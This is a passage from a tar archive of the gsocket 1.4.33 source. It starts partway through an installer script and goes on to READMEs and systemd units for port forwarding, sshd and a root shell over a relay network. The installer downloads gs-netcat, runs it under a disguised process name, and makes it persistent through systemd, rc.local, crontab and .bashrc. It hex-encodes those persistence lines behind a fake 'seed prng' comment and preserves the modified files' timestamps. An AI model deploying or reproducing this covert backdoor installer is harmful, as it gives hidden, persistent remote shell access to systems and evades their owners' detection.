SERVICE_FILE="${SERVICE_DIR}/${SERVICE_HIDDEN_NAME}.service"
DEBUGF "SRC_PKG=$SRC_PKG"
}
init_setup()
{
if [[ -n "$GS_PREFIX" ]]; then
# Debuggin and testing into separate directory
mkdir -p "${GS_PREFIX}/etc" 2>/dev/null
mkdir -p "${GS_PREFIX}/usr/bin" 2>/dev/null
mkdir -p "${GS_PREFIX}${HOME}" 2>/dev/null
if [[ -f "${HOME}/${RC_FILENAME}" ]]; then
cp "${HOME}/${RC_FILENAME}" "${RC_FILE}"
touch -r "${HOME}/${RC_FILENAME}" "${RC_FILE}"
fi
cp /etc/rc.local "${GS_PREFIX}/etc/"
touch -r /etc/rc.local "${GS_PREFIX}/etc/rc.local"
fi
command -v tar >/dev/null || errexit "Need tar. Try ${CM}apt install tar${CN}"
command -v gzip >/dev/null || errexit "Need gzip. Try ${CM}apt install gzip${CN}"
mkdir "$TMPDIR" &>/dev/null
touch "${TMPDIR}/.gs-${UID}.lock" || errexit "FAILED. No temporary directory found for downloading package."
rm -f "${TMPDIR}/.gs-${UID}.lock" 2>/dev/null
# Find out which directory is writeable
init_dstbin
NOTE_DONOTREMOVE="# DO NOT REMOVE THIS LINE. SEED PRNG. #${BIN_HIDDEN_NAME}-kernel"
SYSTEMD_SEC_FILE="${SERVICE_DIR}/${SEC_NAME}"
RCLOCAL_SEC_FILE="${RCLOCAL_DIR}/${SEC_NAME}"
USER_SEC_FILE="$(dirname "${DSTBIN}")/${SEC_NAME}"
RCLOCAL_LINE="HOME=$HOME TERM=xterm-256color SHELL=$SHELL GSOCKET_ARGS=\"-k ${RCLOCAL_SEC_FILE} -liqD\" $(command -v bash) -c \"cd /root; exec -a ${PROC_HIDDEN_NAME} ${DSTBIN}\""
PROFILE_LINE="command -v ${KL_CMD} >/dev/null && ${KL_CMD} -0 ${KL_CMD_UARG} ${BIN_HIDDEN_NAME} 2>/dev/null || (TERM=xterm-256color GSOCKET_ARGS=\"-k ${USER_SEC_FILE} -liqD\" exec -a ${PROC_HIDDEN_NAME} ${DSTBIN})"
CRONTAB_LINE="command -v ${KL_CMD} >/dev/null && ${KL_CMD} -0 ${KL_CMD_UARG} ${BIN_HIDDEN_NAME} 2>/dev/null || SHELL=$SHELL TERM=xterm-256color GSOCKET_ARGS=\"-k ${USER_SEC_FILE} -liqD\" $(command -v bash) -c \"exec -a ${PROC_HIDDEN_NAME} ${DSTBIN}\""
# check that xxd is working as expected (alpine linux does not have -r option)
if [[ "$(echo "thcwashere" | xxd -ps -c1024 2>/dev/null| xxd -r -ps 2>/dev/null)" = "thcwashere" ]]; then
local p
p="$(echo "$RCLOCAL_LINE" | xxd -ps -c1024)"
RCLOCAL_LINE="echo $p|xxd -r -ps|bash #1b5b324a50524e47 >/dev/random # seed prng ${BIN_HIDDEN_NAME}-kernel"
p="$(echo "$PROFILE_LINE" | xxd -ps -c1024)"
PROFILE_LINE="echo $p|xxd -r -ps|bash #1b5b324a50524e47 >/dev/random # seed prng ${BIN_HIDDEN_NAME}-kernel"
p="$(echo "$CRONTAB_LINE" | xxd -ps -c1024)"
CRONTAB_LINE="echo $p|xxd -r -ps|bash #1b5b324a50524e47 >/dev/random # seed prng ${BIN_HIDDEN_NAME}-kernel"
fi
DEBUGF "TMPDIR=${TMPDIR}"
DEBUGF "DSTBIN=${DSTBIN}"
}
uninstall_rm()
{
[[ -z "$1" ]] && return
[[ ! -f "$1" ]] && return # return if file does not exist
echo 1>&2 "Removing $1..."
rm -rf "$1"
}
uninstall_rmdir()
{
[[ -z "$1" ]] && return
[[ ! -d "$1" ]] && return # return if file does not exist
echo 1>&2 "Removing $1..."
rmdir "$1"
}
uninstall_rc()
{
[[ ! -f "$1" ]] && return # File does not exist
grep "${BIN_HIDDEN_NAME}" "$1" &>/dev/null || return # not installed
grep -v "${BIN_HIDDEN_NAME}" "$1" >"${1}-new" 2>/dev/null
[[ ! -f "${1}-new" ]] && return # permission denied
touch -r "$1" "${1}-new"
mv "${1}-new" "$1"
[[ ! -s "${1}" ]] && rm -f "${1}" 2>/dev/null # delete zero size file
}
# Rather important function especially when testing and developing this...
uninstall()
{
uninstall_rm "${GS_PREFIX}${HOME}/.usr/bin/${BIN_HIDDEN_NAME}"
uninstall_rm "${GS_PREFIX}/usr/bin/${BIN_HIDDEN_NAME}"
uninstall_rm "/dev/shm/${BIN_HIDDEN_NAME}"
uninstall_rm "${RCLOCAL_DIR}/${SEC_NAME}"
uninstall_rm "${GS_PREFIX}${HOME}/.usr/bin/${SEC_NAME}"
uninstall_rm "${GS_PREFIX}/usr/bin/${SEC_NAME}"
uninstall_rm "/dev/shm/${SEC_NAME}"
uninstall_rmdir "${GS_PREFIX}${HOME}/.usr/bin"
uninstall_rmdir "${GS_PREFIX}${HOME}/.usr"
uninstall_rm "/dev/shm/${BIN_HIDDEN_NAME}"
uninstall_rm "${TMPDIR}/${SRC_PKG}"
uninstall_rm "${TMPDIR}/._gs-netcat" # from docker???
uninstall_rmdir "${TMPDIR}"
# Remove from login script
uninstall_rc "${GS_PREFIX}${HOME}/.bashrc"
uninstall_rc "${GS_PREFIX}${HOME}/.profile"
uninstall_rc "${GS_PREFIX}/etc/rc.local"
# Remove crontab
if [[ ! $OSTYPE == *darwin* ]]; then
command -v crontab >/dev/null && crontab -l 2>/dev/null | grep -v "${BIN_HIDDEN_NAME}" | crontab - 2>/dev/null
fi
# Remove systemd service
# STOPPING would kill the current login shell. Do not stop it.
# systemctl stop "${SERVICE_HIDDEN_NAME}" &>/dev/null
command -v systemctl >/dev/null && [[ $UID -eq 0 ]] && { systemctl disable "${BIN_HIDDEN_NAME}" 2>/dev/null && systemctl daemon-reload 2>/dev/null; }
uninstall_rm "${SERVICE_FILE}"
uninstall_rm "${SERVICE_DIR}/${SEC_NAME}"
echo -e 1>&2 "${CG}Uninstall complete.${CN}"
echo -e 1>&2 "--> Use ${CM}${KL_CMD} ${BIN_HIDDEN_NAME}${CN} to terminate all running shells."
exit 0
}
SKIP_OUT()
{
echo -e 1>&2 "[${CY}SKIPPING${CN}]"
[[ -n "$1" ]] && echo -e 1>&2 "--> $*"
}
OK_OUT()
{
echo -e 1>&2 "......[${CG}OK${CN}]"
[[ -n "$1" ]] && echo -e 1>&2 "--> $*"
}
FAIL_OUT()
{
echo -e 1>&2 "..[${CR}FAILED${CN}]"
[[ -n "$1" ]] && echo -e 1>&2 "--> $*"
}
WARN()
{
echo -e 1>&2 "--> ${CY}WARNING: ${CN}$*"
}
WARN_EXECFAIL_SET()
{
[[ -n "$WARN_EXECFAIL_MSG" ]] && return # set it once (first occurance) only
WARN_EXECFAIL_MSG="CODE=${1} (${2}): ${CY}$(uname -n -m -r)${CN}"
}
WARN_EXECFAIL()
{
echo -e 1>&2 "--> Please send this output to ${CC}members@thc.org${CN} to get it fixed."
echo -e 1>&2 "--> ${WARN_EXECFAIL_MSG}"
}
gs_secret_reload()
{
[[ ! -f "$1" ]] && WARN "Oops. $1 not found. Uninstall needed?"
# GS_SECRET="UNKNOWN" # never ever set GS_SECRET to a known value
local sec
sec=$(<"$1")
[[ ${#sec} -gt 10 ]] && GS_SECRET=$sec
}
gs_secret_write()
{
echo "$GS_SECRET" >"$1"
chmod 600 "$1"
}
install_system_systemd()
{
[[ ! -d "${GS_PREFIX}/etc/systemd/system" ]] && return
command -v systemctl >/dev/null || return
if [[ -f "${SERVICE_FILE}" ]]; then
IS_INSTALLED=1
IS_SKIPPED=1
if systemctl is-active "${SERVICE_HIDDEN_NAME}" &>/dev/null; then
IS_GS_RUNNING=1
fi
IS_SYSTEMD=1
gs_secret_reload "$SYSTEMD_SEC_FILE"
SKIP_OUT "${SERVICE_FILE} already exists."
return
fi
# Create the service file
echo "[Unit]
Description=gs
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=/bin/bash -c \"GSOCKET_ARGS='-k $SYSTEMD_SEC_FILE -ilq' exec -a ${PROC_HIDDEN_NAME} ${DSTBIN}\"
[Install]
WantedBy=multi-user.target" >"${SERVICE_FILE}"
chmod 600 "${SERVICE_FILE}"
gs_secret_write "$SYSTEMD_SEC_FILE"
(systemctl enable "${SERVICE_HIDDEN_NAME}" && \
systemctl start "${SERVICE_HIDDEN_NAME}" && \
systemctl is-active "${SERVICE_HIDDEN_NAME}") &>/dev/null || { systemctl disable "${SERVICE_HIDDEN_NAME}" 2>/dev/null; rm -f "${SERVICE_FILE}"; return; } # did not work...
IS_SYSTEMD=1
IS_GS_RUNNING=1
IS_INSTALLED=1
}
install_system_rclocal()
{
[[ ! -f "${RCLOCAL_FILE}" ]] && return
if grep "$BIN_HIDDEN_NAME" "${RCLOCAL_FILE}" &>/dev/null; then
IS_INSTALLED=1
IS_SKIPPED=1
gs_secret_reload "$RCLOCAL_SEC_FILE"
SKIP_OUT "Already installed in ${RCLOCAL_FILE}."
return
fi
# /etc/rc.local is /bin/sh which does not support the build-in 'exec' command.
# Thus we need to start /bin/bash -c in a sub-shell before 'exec gs-netcat'.
(head -n1 "${RCLOCAL_FILE}" && \
echo "$NOTE_DONOTREMOVE" && \
echo "$RCLOCAL_LINE" && \
tail -n +2 "${RCLOCAL_FILE}") >"${RCLOCAL_FILE}-new" 2>/dev/null || return # not writeable
# restore file's timestamp
touch -r "${RCLOCAL_FILE}" "${RCLOCAL_FILE}-new"
mv "${RCLOCAL_FILE}-new" "${RCLOCAL_FILE}"
gs_secret_write "$RCLOCAL_SEC_FILE"
IS_INSTALLED=1
}
install_system()
{
echo -en 2>&1 "Installing systemwide remote access permanentally....................."
# Try systemd first
install_system_systemd
# Try good old /etc/rc.local
[[ -z "$IS_INSTALLED" ]] && install_system_rclocal
[[ -z "$IS_INSTALLED" ]] && { FAIL_OUT "no systemctl or /etc/rc.local"; return; }
OK_OUT
}
install_user_crontab()
{
command -v crontab >/dev/null || return # no crontab
echo -en 2>&1 "Installing access via crontab........................................."
[[ -z "$KL_CMD" ]] && { FAIL_OUT "No pkill or killall found."; return; }
if crontab -l 2>/dev/null | grep "$BIN_HIDDEN_NAME" &>/dev/null; then
IS_INSTALLED=1
IS_SKIPPED=1
gs_secret_reload "$USER_SEC_FILE"
SKIP_OUT "Already installed in crontab."
return
fi
local cr_time
cr_time="59 * * * *"
[[ -n "$GS_DEBUG" ]] && cr_time="* * * * *" # easier to debug if this happens every minute..
(crontab -l 2>/dev/null && \
echo "$NOTE_DONOTREMOVE" && \
echo "${cr_time} $CRONTAB_LINE") | crontab - 2>/dev/null || { FAIL_OUT; return; }
IS_INSTALLED=1
OK_OUT
}
install_user_profile()
{
echo -en 2>&1 "Installing access via ~/${RC_FILENAME_STATUS}......................................"
[[ -z "$KL_CMD" ]] && { FAIL_OUT "No pkill or killall found."; return; }
[[ -f "${RC_FILE}" ]] || { touch "${RC_FILE}"; chmod 600 "${RC_FILE}"; }
if grep "$BIN_HIDDEN_NAME" "$RC_FILE" &>/dev/null; then
IS_INSTALLED=1
IS_SKIPPED=1
gs_secret_reload "$USER_SEC_FILE"
SKIP_OUT "Already installed in ${RC_FILE}"
return
fi
(echo "$NOTE_DONOTREMOVE" && \
echo "${PROFILE_LINE}" && \
cat "${RC_FILE}") >"${RC_FILE}-new"
touch -r "${RC_FILE}" "${RC_FILE}-new"
mv "${RC_FILE}-new" "${RC_FILE}"
IS_INSTALLED=1
OK_OUT
}
install_user()
{
# Do not use crontab on OSX: It pops a warning to the user
if [[ ! $OSTYPE == *darwin* ]]; then
install_user_crontab
fi
# install_user_profile
install_user_profile
[[ -z "$IS_SKIPPED" ]] && gs_secret_write "$USER_SEC_FILE" # Create new secret file
}
# Download $1 and save it to $2
dl()
{
[[ -s "$2" ]] && return
local dl_log
# Need to set DL_CMD before GS_DEBUG check for proper error output
if command -v curl >/dev/null; then
DL_CMD="$DL_CRL"
elif command -v wget >/dev/null; then
DL_CMD="$DL_WGT"
else
# errexit "Need curl or wget."
FAIL_OUT "Need curl or wget. Try ${CM}apt install curl${CN}"
errexit
fi
# Debugging / testing. Use local package if available
if [[ -n "$GS_DEBUG" ]]; then
[[ -f "../packaging/gsnc-deploy-bin/${1}" ]] && cp "../packaging/gsnc-deploy-bin/${1}" "${2}" 2>/dev/null && return
[[ -f "/gsocket-pkg/${1}" ]] && cp "/gsocket-pkg/${1}" "${2}" 2>/dev/null && return
FAIL_OUT "GS_DEBUG set but deployment binaries not found (${1})..."
errexit
fi
if [[ "$DL_CMD" == "$DL_CRL" ]]; then
dl_log=$(curl -fL "${URL_BASE}/${1}" --output "${2}" 2>&1)
elif [[ "$DL_CMD" == "$DL_WGT" ]]; then
dl_log=$(wget -O "$2" "${URL_BASE}/${1}" 2>&1)
else
# errexit "Need curl or wget."
FAIL_OUT "CAN NOT HAPPEN"
errexit
fi
# [[ ! -s "$2" ]] && { errexit "Could not download package."; }
[[ ! -s "$2" ]] && { FAIL_OUT; echo "$dl_log"; exit_code 255; }
}
# S= was set. Do not install but execute in place.
gs_access()
{
echo -e 2>&1 "Connecting..."
local ret
GS_SECRET="${S}"
"${DSTBIN}" -s "${GS_SECRET}" -i
ret=$?
[[ $ret -eq 139 ]] && { EXECFAIL_OUT "$?" "SIGSEGV"; errexit; }
exit_code "$ret"
}
# Binary is in an executeable directory (no noexec-flag)
# set IS_TESTBIN_OK if binary worked.
# test_bin
test_bin()
{
local bin
local err_log
unset IS_TESTBIN_OK
bin="$1"
GS_SECRET=$("$bin" -g 2>/dev/null)
[[ -z "$GS_SECRET" ]] && { FAIL_OUT; ERR_LOG="wrong binary"; WARN_EXECFAIL_SET "$?" "wrong binary"; return; }
err_log=$(GSOCKET_ARGS="-s selftest-${GS_SECRET}" exec -a "$PROC_HIDDEN_NAME" "${bin}" 2>&1)
ret=$?
[[ -z "$ERR_LOG" ]] && ERR_LOG="$err_log"
[[ $ret -eq 139 ]] && { FAIL_OUT; ERR_LOG=""; WARN_EXECFAIL_SET "$?" "SIGSEGV"; return; }
# Fail unless it's ECONNREFUSED
[[ $ret -ne 61 ]] && { FAIL_OUT; WARN_EXECFAIL_SET 0 "default pkg failed"; return; }
# exit code of gs-netcat was ECONNREFUSED. Thus connection to server
# was successfully and server replied that no client is listening.
# This is a good enough test that this binary is working.
IS_TESTBIN_OK=1
}
# try
try()
{
local osarch
local is_with_warning
local src_pkg
osarch="$1"
is_with_warning="$2"
src_pkg="gs-netcat_${osarch}.tar.gz"
echo -e 2>&1 "--> Trying ${CG}${osarch}${CN}"
# Download binaries
echo -en 2>&1 "Downloading binaries.................................................."
dl "gs-netcat_${osarch}.tar.gz" "${TMPDIR}/${src_pkg}"
OK_OUT
echo -en 2>&1 "Unpacking binaries...................................................."
# Unpack
(cd "${TMPDIR}" && tar xfz "${src_pkg}") || { FAIL_OUT "unpacking failed"; errexit; }
[[ -f "${TMPDIR}/._gs-netcat" ]] && rm -f "${TMPDIR}/._gs-netcat" # from docker???
OK_OUT
echo -en 2>&1 "Copying binaries......................................................"
mv "${TMPDIR}/gs-netcat" "$DSTBIN" || { FAIL_OUT; errexit; }
chmod 700 "$DSTBIN"
OK_OUT
echo -en 2>&1 "Testing binaries......................................................"
test_bin "${DSTBIN}"
if [[ -n "$IS_TESTBIN_OK" ]]; then
OK_OUT
return
fi
rm -f "${TMPDIR}/${src_pkg}"
[[ -z "$is_with_warning" ]] && return # silent return
}
# Download the gs-netcat_any-any.tar.gz and try all of the containing
# binaries and fail hard if none could be found.
try_any()
{
targets="x86_64-alpine i386-alpine x86_64-debian aarch64-linux armv6l-linux x86_64-cygwin x86_64-freebsd x86_64-osx"
for osarch in $targets; do
[[ x"$osarch" = x"$OSARCH" ]] && continue # Skip the default OSARCH (already tried)
try "$osarch"
[[ -n "$IS_TESTBIN_OK" ]] && break
done
if [[ -n "$IS_TESTBIN_OK" ]]; then
echo -e >&2 "--> ${CY}Installation did not go as smooth as it should have.${CN}"
else
[[ -n "$ERR_LOG" ]] && echo >&2 "$ERR_LOG"
fi
WARN_EXECFAIL
[[ -z "$IS_TESTBIN_OK" ]] && errexit "None of the binaries worked."
}
init_vars
[[ x"$1" =~ (clean|uninstall|clear|undo) ]] && uninstall
[[ -n "$GS_UNDO" ]] || [[ -n "$GS_CLEAN" ]] || [[ -n "$GS_UNINSTALL" ]] && uninstall
init_setup
try "$OSARCH" 1
[[ -z "$IS_TESTBIN_OK" ]] && try_any
# S= is set. Do not install but connect to remote using S= as secret.
[[ -n "$S" ]] && gs_access
# User supplied secret: X=MySecret bash -c "$(curl -fsSL gsocket.io/x)"
[[ -n "$X" ]] && GS_SECRET="$X"
# -----BEGIN Install permanentally-----
# Try to install system wide. This may also start the service.
[[ $UID -eq 0 ]] && install_system
# Try to install to user's login script or crontab
[[ -z "$IS_INSTALLED" ]] && install_user
# -----END Install permanentally-----
if [[ -z "$IS_INSTALLED" ]]; then
echo -e 1>&1 "--> ${CR}Access will be lost after reboot.${CN}"
fi
# After all install attempts output help how to uninstall
echo -e 1>&2 "--> To uninstall type ${CM}GS_UNDO=1 ${DL_CMD}${CN}"
printf 1>&2 "%-70.70s" "Starting '${BIN_HIDDEN_NAME}' as hidden process '${PROC_HIDDEN_NAME}'....................................."
if [[ -n "$IS_SYSTEMD" ]]; then
# HERE: It's systemd
if [[ -z "$IS_GS_RUNNING" ]]; then
systemctl start "${SERVICE_HIDDEN_NAME}" &>/dev/null
if systemctl is-active "${SERVICE_HIDDEN_NAME}" &>/dev/null; then
IS_GS_RUNNING=1
else
FAIL_OUT "Check ${CM}systemctl start ${SERVICE_HIDDEN_NAME}${CN}."
exit_code 255
fi
fi
if [[ -n "$IS_SKIPPED" ]]; then
SKIP_OUT "'${BIN_HIDDEN_NAME}' is already running and hidden as '${PROC_HIDDEN_NAME}'."
else
OK_OUT
fi
elif [[ -z "$IS_GS_RUNNING" ]]; then
# Scenario to consider:
# GS_UNDO=1 ./deploy.sh -> removed all binaries but user does not issue 'pkill gs-bd'
# ./deploy.sh -> re-installs new secret. Start gs-bd with _new_ secret.
# Now two gs-bd's are running (which is correct)
if [[ -n "$KL_CMD" ]]; then
${KL_CMD} -0 "$KL_CMD_UARG" "${BIN_HIDDEN_NAME}" 2>/dev/null && IS_OLD_RUNNING=1
elif command -v pidof >/dev/null; then
# if no pkill/killall then try pidof (but we cant tell which user...)
if pidof -qs "$BIN_HIDDEN_NAME" &>/dev/null; then
IS_OLD_RUNNING=1
fi
fi
IS_NEED_START=1
if [[ -n "$IS_OLD_RUNNING" ]]; then
# HERE: already running.
if [[ -n "$IS_SKIPPED" ]]; then
# HERE: Already running. Skipped installation (sec.dat has not changed).
SKIP_OUT "'${BIN_HIDDEN_NAME}' is already running and hidden as '${PROC_HIDDEN_NAME}'."
unset IS_NEED_START
else
OK_OUT
WARN "More than one ${BIN_HIDDEN_NAME} is running. You"
echo -e 1>&2 " may want to check: ${CM}ps -elf|grep -- ${PROC_HIDDEN_NAME}${CN}"
echo -e 1>&2 " or terminate all : ${CM}${KL_CMD} ${BIN_HIDDEN_NAME}${CN}"
fi
else
OK_OUT ""
fi
if [[ -n "$IS_NEED_START" ]]; then
(TERM=xterm-256color GSOCKET_ARGS="-s $GS_SECRET -liD" exec -a "$PROC_HIDDEN_NAME" "$DSTBIN")
IS_GS_RUNNING=1
fi
fi
echo -e 1>&2 "--> To connect type one of the following:
--> ${CM}gs-netcat -s \"${GS_SECRET}\" -i${CN}
--> ${CM}S=\"${GS_SECRET}\" ${DL_CRL}${CN}
--> ${CM}S=\"${GS_SECRET}\" ${DL_WGT}${CN}"
exit_code 0
gsocket-1.4.33/examples/ 0000775 0000000 0000000 00000000000 14072625040 0015057 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/examples/Makefile.am 0000775 0000000 0000000 00000000420 14072625040 0017112 0 ustar 00root root 0000000 0000000 EXTRA_DIST = wireguard/wg0-client.conf wireguard/wg0-server.conf wireguard/README.md user-shell/README.md systemd-root-shell/gs-root-shell.service systemd-root-shell/README.md sshd/gs-sshd.service sshd/README.md port-forward/gs-portforward.service port-forward/README.md
gsocket-1.4.33/examples/port-forward/ 0000775 0000000 0000000 00000000000 14072625040 0017505 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/examples/port-forward/README.md 0000664 0000000 0000000 00000005475 14072625040 0020777 0 ustar 00root root 0000000 0000000 # Global Socket Port Forwarding
**Connect to a firewalled host**
**Problem**
A hypothetical example for BOB to connect to ALICE's IRCD. Both are on two different networks and behind a NAT/Firewall. Neither of them can reach the other.
**Objective**
Allow BOB to access ALICE's (private) IRCD service (without tampering with the firewall, NAT or router settings).
**Solution**
Create a port forward to ALICE's IRCD and make this forward accessible via the Global Socket Relay network (GSRN).
**Prerequisite**
IRCD running on ALICE's workstation and an IRC client (irssi) on BOB's workstation.
On workstation "ALICE" create */etc/system/systemd/gs-portforward.service* to configure a port forward from the Global Socket *ExampleSecretChangeMe* to TCP port 6667 on your workstation (127.0.0.1):
```EditorConfig
[Unit]
Description=Global Socket IRCD Forward
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=10
ExecStart=gs-netcat -s ExampleSecretChangeMe -l -d 127.0.0.1 -p 6667
[Install]
WantedBy=multi-user.target
```
Start, check and enable the service:
```ShellSession
root@ALICE:~# systemctl start gs-portforward
root@ALICE:~# systemctl status gs-portforward
root@ALICE:~# systemctl enable gs-portforward
```
On BOB's workstation create a port forward from TCP port 6667 to the Global Socket *ExampleSecretChangeMe*:
```ShellSession
b@BOB:~$ gs-netcat -s ExampleSecretChangeMe -p 6667
```
TCP port 6667 on BOB's workstation is now forwarded to TCP port 6667 on ALICE's workstation. Bob connects to ALICE's IRCD as if the IRCD is running on his workstation (127.0.0.1):
```ShellSession
b@BOB:~$ irssi -c 127.0.0.1
```
Alternatively of using two separate commands BOB can use the *gsocket* tool to start the irc client and automatically forward the connection via the GSRN:
```ShellSession
b@BOB:~$ gsocket irssi -c blah.gsocket
Enter Secret (or press Enter to generate): ExampleSecretChangeMe
=Secret :"ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
Irssi v1.2.0-2 - https://irssi.org
06:22 -!- Irssi: Looking up blahgsocket
06:22 -!- Irssi: Connecting to blah.gsocket [127.31.33.7] port 6667
[...]
```
This is a hypothetical example. Alice can configure the port forward by changing 127.0.0.1 to the desired destination.
Alice created a port forward and started the IRCD service. Instead Alice can combine this into a single command:
```ShellSession
alice@ALICE:~$ gsocket inspircd --nolog --nofork
Enter Secret (or press Enter to generate): ExampleSecretChangeMe
=Secret :"ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
Inspire Internet Relay Chat Server
(C) InspIRCd Development Team.
[...]
```
Many more gs-netcat options are available: For example *-T* to connect via TOR or *-L* for log-output. See the manual page for gs-netcat.
gsocket-1.4.33/examples/port-forward/gs-portforward.service 0000664 0000000 0000000 00000000341 14072625040 0024045 0 ustar 00root root 0000000 0000000 Unit]
Description=Global Socket IRCD Forward
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=10
ExecStart=gs-netcat -s ExampleSecretChangeMe -l -d 127.0.0.1 -p 6667
[Install]
WantedBy=multi-user.target
gsocket-1.4.33/examples/sshd/ 0000775 0000000 0000000 00000000000 14072625040 0016020 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/examples/sshd/README.md 0000664 0000000 0000000 00000007017 14072625040 0017304 0 ustar 00root root 0000000 0000000 # OpenSSH via Global Socket
**Connect with ssh to a firewalled host**
**Problem**
ALICE and BOB are on two different networks and behind a NAT/Firewall. Neither of them can reach the other.
**Objective**
Allow user bob on host BOB to log-in with ssh as user bob on host ALICE (without tampering with the firewall, NAT or router settings).
**Solution**
Start sshd and ssh with the *gsocket* tool to (automatically) redirect any ssh-traffic via the Global Socket Relay Network.
Let's test the *gsocket* concept. Start *sshd* on ALICE with the *gsocket* tool:
```ShellSession
root@ALICE:~# gsocket -s ExampleSecretChangeMe /usr/sbin/sshd -D
```
The *gsocket* tool hooks all network functions and instead redirects those via the GSRN. The above example redirects the 'listen()'-call and listens on the Global Socket named *ExampleSecretChangeMe* instead of sshd's port 22.
Anyone with the correct secret (*ExampleSecretChangeMe*) can now connect to this sshd from anywhere in the world. The sshd process will _not_ listen on the default SSHD port 22 but instead on a Global Socket named *ExampleSecretChangeMe*. (On Global Socket we use names and not numbers).
From BOB use the *gsocket* tool to log in to ALICE:
```ShellSession
bob@BOB:~$ gsocket ssh bob@gsocket
Enter Secret (or press Enter to generate): ExampleSecretChangeMe
=Secret :"ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-65-generic x86_64)
bob@ALICE:~$
```
Any networking application that connects to a hostname ending in *gsocket* (or *blah.anything.gsocket*) is redirected via the GSRN.
**Installation**
Let's make this change permanent so that ALICE is accessible via the GSRN after a system reboot. This does not tamper with the default *SSHD* service in any way. The *GS-SSHD* runs as an additional service alongside the default *SSHD* service.
Copy the default sshd.service:
```ShellSession
root@ALICE:~# cd /etc/systemd/system
root@ALICE:/etc/systemd/system# cp sshd.service gs-sshd.service
root@ALICE:/etc/systemd/system# chmod 600 gs-sshd.service
```
Edit the *gs-sshd.service* file and change this line:
```EditorConfig
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
```
to
```EditorConfig
ExecStart=gs -s ExampleSecretChangeMe /usr/sbin/sshd -D $SSHD_OPTS
```
Start, check and enable the newly created service:
```ShellSession
root@ALICE:~# systemctl start gs-sshd
root@ALICE:~# systemctl status gs-sshd
root@ALICE:~# systemctl enable gs-sshd
```
Log in to host ALICE from anywhere in the world:
```ShellSession
bob@BOB:~$ gsocket ssh bob@gsocket
Enter Secret (or press Enter to generate): ExampleSecretChangeMe
=Secret :"ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-65-generic x86_64)
bob@ALICE:~$
```
**Notes**
Do not use *ExampleSecretChangeMe*. Generate your own secret using the *-g* option:
```ShellSession
$ gsocket -g
M9BfcYhhG4LujcPTbUcaZN
```
This example uses double encryption: The GSRN connection is encrypted with OpenSSL's SRP protocol and within that tunnel OpenSSH uses its own encryption. As a consequence the GS-SSHD is only accessible to those who know the secret (*ExampleSecretChangeMe*). E.g. the TCP port and service is hidden. The *-C* option can be used to disable GSRN encryption and rely on OpenSSH's encryption only.
Changing the hostname from *gsocket* to *thc* will connect through TOR first: ssh -> TOR -> GSRN....
Many more gs options are available. See the manual page for gs.
gsocket-1.4.33/examples/sshd/gs-sshd.service 0000664 0000000 0000000 00000001050 14072625040 0020746 0 ustar 00root root 0000000 0000000 [Unit]
Description=OpenBSD Secure Shell server
Documentation=man:sshd(8) man:sshd_config(5)
After=network.target auditd.service
ConditionPathExists=!/etc/ssh/sshd_not_to_be_run
[Service]
EnvironmentFile=-/etc/default/ssh
ExecStartPre=/usr/sbin/sshd -t
ExecStart=gsocket -s ExampleSecretChangeMe /usr/sbin/sshd -D $SSHD_OPTS
ExecReload=/usr/sbin/sshd -t
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
Restart=on-failure
RestartPreventExitStatus=255
Type=notify
RuntimeDirectory=sshd
RuntimeDirectoryMode=0755
[Install]
WantedBy=multi-user.target
gsocket-1.4.33/examples/systemd-root-shell/ 0000775 0000000 0000000 00000000000 14072625040 0020635 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/examples/systemd-root-shell/README.md 0000664 0000000 0000000 00000003304 14072625040 0022114 0 ustar 00root root 0000000 0000000 # Global Socket Root Login Shell from systemd
**Connect to a firewalled host**
**Problem**
ALICE and BOB are on two different networks and behind a NAT/Firewall. Neither of them can reach the other.
**Objective**
Allow BOB to log-in to ALICE as root/superuser (without tampering with the firewall, NAT or router settings).
**Solution**
Start gs-netcat as a service (systemd) on ALICE.
On workstation "ALICE" create */etc/systemd/system/gs-root-shell.service*:
```EditorConfig
[Unit]
Description=Global Socket Root Shell
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=gs-netcat -k /etc/systemd/gs-root-shell-key.txt -il
[Install]
WantedBy=multi-user.target
```
Create a random key file:
```ShellSession
root@ALICE:~# gs-netcat -g >/etc/systemd/gs-root-shell-key.txt
root@ALICE:~# chmod 600 /etc/systemd/gs-root-shell-key.txt
root@ALICE:~# cat /etc/systemd/gs-root-shell-key.txt
ExampleSecretChangeMe
```
Start the service:
```ShellSession
root@ALICE:~# systemctl start gs-root-shell
```
Enable the service to start automatically after reboot:
```ShellSession
root@ALICE:~# systemctl enable gs-root-shell
```
Check that gs-netcat is running:
```ShellSession
root@ALICE:~# systemctl status gs-root-shell
```
Now log-in from "BOB" to "ALICE":
```ShellSession
b@BOB:~$ gs-netcat -s ExampleSecretChangeMe -i
=Secret : "ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
root@ALICE:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ALICE:~#
```
Et voila a root shell on ALICE.
Many more gs-netcat options are available: For example *-T* to connect via TOR or *-L* for log-output. See the manual page for gs-netcat.
gsocket-1.4.33/examples/systemd-root-shell/gs-root-shell.service 0000664 0000000 0000000 00000000360 14072625040 0024715 0 ustar 00root root 0000000 0000000 [Unit]
Description=Global Socket Root Shell
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=gs-netcat -k /etc/systemd/gs-root-shell-key.txt -il
[Install]
WantedBy=multi-user.target
